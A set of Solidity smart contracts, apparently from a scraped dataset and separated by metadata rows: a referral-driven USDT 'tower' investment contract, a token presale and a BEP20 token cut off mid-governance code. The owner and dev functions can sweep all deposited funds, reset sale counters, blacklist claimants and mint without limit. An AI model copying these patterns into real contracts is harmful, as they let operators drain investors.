event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface DividendPayingTokenInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) external view returns(uint256);
/// @notice Distributes ether to token holders as dividends.
/// @dev SHOULD distribute the paid ether to token holders as dividends.
/// SHOULD NOT directly transfer ether to token holders in this function.
/// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0.
function distributeDividends(uint256 amount) external;
/// @notice Withdraws the ether distributed to the sender.
/// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0.
function withdrawDividend() external;
function setTowerContract(address _address) external;
/// @dev This event MUST emit when ether is distributed to token holders.
/// @param from The address which sends ether to this contract.
/// @param weiAmount The amount of distributed ether in wei.
event DividendsDistributed(address indexed from,
uint256 weiAmount);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws ether from this contract.
/// @param weiAmount The amount of withdrawn ether in wei.
event DividendWithdrawn(address indexed to,
uint256 weiAmount);
}
interface DividendPayingTokenOptionalInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) external view returns(uint256);
}
interface ICBTower {
function getCurrentFloor() external view returns (uint256);
}
contract CBTower is Ownable, ICBTower {
using SafeERC20 for IERC20;
address public BCT;
address public BBT;
address public BWT;
// testnet - 0x80A5DDf29aC4cb3910A18ca5d5B784d2Ef0C1771
/// BSC USDT - 0x55d398326f99059fF775485246999027B3197955
IERC20 public USDT = IERC20(0x80A5DDf29aC4cb3910A18ca5d5B784d2Ef0C1771);
struct UserInfo {
uint256 reinvestRatio;
uint256 joinTime;
uint256 lastUpdateFloor;
// Referrals
address level1;
address level2;
address level3;
address level4;
address level5;
//
uint256 lastAmount;
}
struct FloorInfo {
uint256 startDate;
uint256 endDate;
uint256 collectionAmount;
uint256 totalInvested;
}
mapping (uint256 => mapping (uint256 => uint256)) public floorReinvestAmounts;
uint256 private grandFinalStartTime;
uint256 private grandFinalEndTime;
uint256 public currentFloor;
FloorInfo[] public floorInfo;
mapping(address => UserInfo) public userInfo;
bool public building = true;
event FloorFinished(uint256 floor);
constructor(address _bct, address _bbt, address _bwt) {
BCT = _bct;
BBT = _bbt;
BWT = _bwt;
floorInfo.push(FloorInfo({
startDate: block.timestamp,
endDate: block.timestamp + getBuildTime(),
collectionAmount: getCollectionAmount(),
totalInvested: 0
}));
}
/// @dev Public Functions
function invest(address _referral, uint256 amount) public {
// require(amount >= 10**18, "Minimum amount 1 USDT");
USDT.safeTransferFrom(_msgSender(), address(this), amount);
if (floorInfo[currentFloor].endDate <= block.timestamp) {
_stopBuilding();
}
require(building, "Building has finished");
UserInfo storage user = userInfo[_msgSender()];
UserInfo storage referral = userInfo[_referral];
if (user.joinTime == 0) {
user.joinTime = block.timestamp;
user.reinvestRatio = 500;
user.lastUpdateFloor = currentFloor;
if (_referral != address(0)) { // Sets referrals for user
user.level1 = _referral;
user.level2 = referral.level1;
user.level3 = referral.level2;
user.level4 = referral.level3;
user.level5 = referral.level4;
}
} else {
withdrawPendingUSDT();
}
_payReferrals(amount);
uint256 left = amount;
while (left > 0) {
left = _invest(left);
}
uint256 BCTamount = amount * 2 / 10;
DividendPayingTokenInterface(address(BBT)).distributeDividends(BCTamount);
if (user.joinTime + 2 days >= block.timestamp && user.level1 != address(0)) {
IERC20(BCT).mint(_msgSender(), amount);
} else {
IERC20(BCT).mint(_msgSender(), amount * 8 / 10);
}
}
function leftForCurrentFloor() public view returns (uint256) {
return floorInfo[currentFloor].collectionAmount - floorInfo[currentFloor].totalInvested;
}
function changeReinvestRatio(uint256 newRatio) public {
require(newRatio >= 500, "Minimum 0.5");
withdrawPendingUSDT();
floorReinvestAmounts[currentFloor][userInfo[_msgSender()].reinvestRatio] -= userInfo[_msgSender()].lastAmount;
userInfo[_msgSender()].reinvestRatio = newRatio;
floorReinvestAmounts[currentFloor][userInfo[_msgSender()].reinvestRatio] += userInfo[_msgSender()].lastAmount;
}
function getGrandFinalInfo() public view returns (uint256, uint256) {
return (grandFinalStartTime, grandFinalEndTime);
}
function getCurrentFloor() public override view returns (uint256) {
return currentFloor;
}
/// @dev Only Owner Functions
function withdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function withdrawERC20(IERC20 token) external onlyOwner {
token.safeTransfer(owner(), token.balanceOf(address(this)));
}
/// @dev Internal Functions
function withdrawPendingUSDT() public {
require(userInfo[_msgSender()].joinTime != 0, "User has not participated");
uint256 amount = _getWithdrawableUSDT(_msgSender());
userInfo[_msgSender()].lastUpdateFloor = currentFloor;
if (amount > 0) {
USDT.safeTransfer(_msgSender(), amount);
userInfo[_msgSender()].lastAmount -= amount;
}
}
function _getWithdrawableUSDT(address _user) public view returns (uint256 amount) {
UserInfo storage user = userInfo[_user];
if (user.lastUpdateFloor < currentFloor) {
uint256 difference = currentFloor - user.lastUpdateFloor;
amount = (user.lastAmount - user.lastAmount*(((user.reinvestRatio * 10**18 / 1000) ** difference) / (10**18)**difference));
} else {
amount = 0;
}
}
function getBuildTime() internal view returns (uint256 buildTime) {
buildTime = (currentFloor + 1) * 2 days;
}
function getCollectionAmount() internal view returns (uint256 collectionAmount) {
collectionAmount = (2**currentFloor)*(10**18);
}
function _initiateNewFloor() internal {
require(floorInfo[currentFloor].totalInvested == floorInfo[currentFloor].collectionAmount, "Not enough is collected");
emit FloorFinished(currentFloor);
floorInfo[currentFloor].endDate = block.timestamp;
currentFloor += 1;
uint256 _startAmount;
floorInfo.push(FloorInfo({
startDate: block.timestamp,
endDate: block.timestamp + getBuildTime(),
collectionAmount: getCollectionAmount(),
totalInvested: 0
}));
FloorInfo storage floor = floorInfo[currentFloor];
for (uint256 i = 500; i < 1001; i++) {
if (floorReinvestAmounts[currentFloor - 1][i] > 0) {
uint256 _amount = floorReinvestAmounts[currentFloor - 1][i] * i / 1000;
floorReinvestAmounts[currentFloor][i] = _amount;
_startAmount += _amount;
}
}
floor.totalInvested = _startAmount;
}
function _payReferrals(uint256 amount) internal {
UserInfo storage user = userInfo[_msgSender()];
uint256 referralPay;
if (user.level1 != address(0)) {
referralPay = amount * 16 / 100;
IERC20(BCT).mint(user.level1, referralPay);
if (user.level2 != address(0)) {
referralPay = amount * 32 / 1000;
IERC20(BCT).mint(user.level2, referralPay);
if (user.level3 != address(0)) {
referralPay = amount * 64 / 10000;
IERC20(BCT).mint(user.level3, referralPay);
if (user.level4 != address(0)) {
referralPay = amount * 128 / 100000;
IERC20(BCT).mint(user.level4, referralPay);
if (user.level5 != address(0)) {
referralPay = amount * 32 / 100000;
IERC20(BCT).mint(user.level5, referralPay);
}
}
}
}
}
}
function _stopBuilding() internal {
require(floorInfo[currentFloor].endDate <= block.timestamp, "Floor building has not finished");
building = false;
grandFinalStartTime = block.timestamp;
grandFinalEndTime = block.timestamp + 60*60*24;
}
function _invest(uint256 amount) internal returns (uint256 left){ // change to internal
FloorInfo storage floor = floorInfo[currentFloor];
UserInfo storage user = userInfo[_msgSender()];
withdrawPendingUSDT();
uint256 leftForCurrentFloor_ = floor.collectionAmount - floor.totalInvested;
if (leftForCurrentFloor_ > amount) {
user.lastAmount += amount;
left = 0;
floor.totalInvested += amount;
floorReinvestAmounts[currentFloor][userInfo[_msgSender()].reinvestRatio] += amount;
} else {
user.lastAmount += amount;
left = amount - leftForCurrentFloor_;
floor.totalInvested += leftForCurrentFloor_;
floorReinvestAmounts[currentFloor][userInfo[_msgSender()].reinvestRatio] += leftForCurrentFloor_;
}
if (floor.collectionAmount == floor.totalInvested) {
_initiateNewFloor();
}
}
receive() external payable {
revert("This contract is not designed to receive BNB");
}
}
| 98,584 | 13,630 |
ae4b7749842798d1617211df64ba1f54c0b8017b37d167fd391bc0982605636a
| 35,368 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f9/f9f5487e18d0df83e3f8d710658543c891d10ef7_AraSale.sol
| 4,138 | 17,353 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract AraSale is Ownable {
using SafeERC20 for ERC20;
using Address for address;
uint constant MIMdecimals = 10 ** 18;
uint constant ARAdecimals = 10 ** 9;
uint public constant MAX_SOLD = 10000 * ARAdecimals;
uint public constant PRICE = 10 * MIMdecimals / ARAdecimals ;
uint public constant MIN_PRESALE_PER_ACCOUNT = 10 * ARAdecimals;
uint public constant MAX_PRESALE_PER_ACCOUNT = 100 * ARAdecimals;
address public dev;
ERC20 MIM;
uint public sold;
address public ARA;
bool canClaim;
bool privateSale;
mapping(address => uint256) public invested;
mapping(address => bool) public claimed;
mapping(address => bool) public approvedBuyers;
mapping(address => bool) public blacklisted;
constructor(address _dev, address mim) {
MIM = ERC20(mim);
dev = _dev;
sold = 0;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function _approveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = true;
return approvedBuyers[newBuyer_];
}
function approveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _approveBuyer(newBuyer_);
}
function approveBuyers(address[] calldata newBuyers_) external onlyOwner() returns (uint256) {
for(uint256 iteration_ = 0; newBuyers_.length > iteration_; iteration_++) {
_approveBuyer(newBuyers_[iteration_]);
}
return newBuyers_.length;
}
function _deapproveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = false;
return approvedBuyers[newBuyer_];
}
function deapproveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _deapproveBuyer(newBuyer_);
}
function _blacklistBuyer(address badBuyer_) internal onlyOwner() returns (bool) {
blacklisted[badBuyer_] = true;
return blacklisted[badBuyer_];
}
function blacklistBuyer(address badBuyer_) external onlyOwner() returns (bool) {
return _blacklistBuyer(badBuyer_);
}
function blacklistBuyers (address[] calldata badBuyers_) external onlyOwner() returns (uint256) {
for (uint256 iteration_ = 0; badBuyers_.length > iteration_; iteration_++) {
_blacklistBuyer(badBuyers_[iteration_]);
}
return badBuyers_.length;
}
function amountBuyable(address buyer) public view returns (uint256) {
uint256 max;
if (approvedBuyers[buyer] && privateSale) {
max = MAX_PRESALE_PER_ACCOUNT;
}
return max - invested[buyer];
}
function buyARA(uint256 amount) public onlyEOA {
require(sold < MAX_SOLD, "sold out");
require(sold + amount < MAX_SOLD, "not enough remaining");
require(amount <= amountBuyable(msg.sender), "amount exceeds buyable amount");
require(amount + invested[msg.sender] >= MIN_PRESALE_PER_ACCOUNT, "amount is not sufficient");
MIM.safeTransferFrom(msg.sender, address(this), amount * PRICE);
invested[msg.sender] += amount;
sold += amount;
}
// set ARA token address and activate claiming
function setClaimingActive(address ara) public {
require(msg.sender == dev, "!dev");
ARA = ara;
canClaim = true;
}
// claim ARA allocation based on old + new invested amounts
function claimARA() public onlyEOA {
require(canClaim, "cannot claim yet");
require(!claimed[msg.sender], "already claimed");
require(!blacklisted[msg.sender], "blacklisted");
if (invested[msg.sender] > 0) {
ERC20(ARA).transfer(msg.sender, invested[msg.sender]);
}
claimed[msg.sender] = true;
}
// token withdrawal by dev
function withdraw(address _token) public {
require(msg.sender == dev, "!dev");
uint b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev,b);
}
// manual activation of whitelisted sales
function activatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = true;
}
// manual deactivation of whitelisted sales
function deactivatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = false;
}
function setSold(uint _soldAmount) public {
require(msg.sender == dev, "!dev");
sold = _soldAmount;
}
}
| 87,289 | 13,631 |
e1e3c4ec00aad7fc34fa3737b41bddc5c978e954ec16a3d736bc10cf23aee85a
| 31,068 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x18764656f2EEfedaF639707AEA774BdC75263475/contract.sol
| 4,172 | 16,086 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// JubyToken with Governance.
contract JubyToken is BEP20('JubyToken', 'JUBY') {
constructor() public {
_mint(msg.sender, 20000*1e18);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterPainter).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
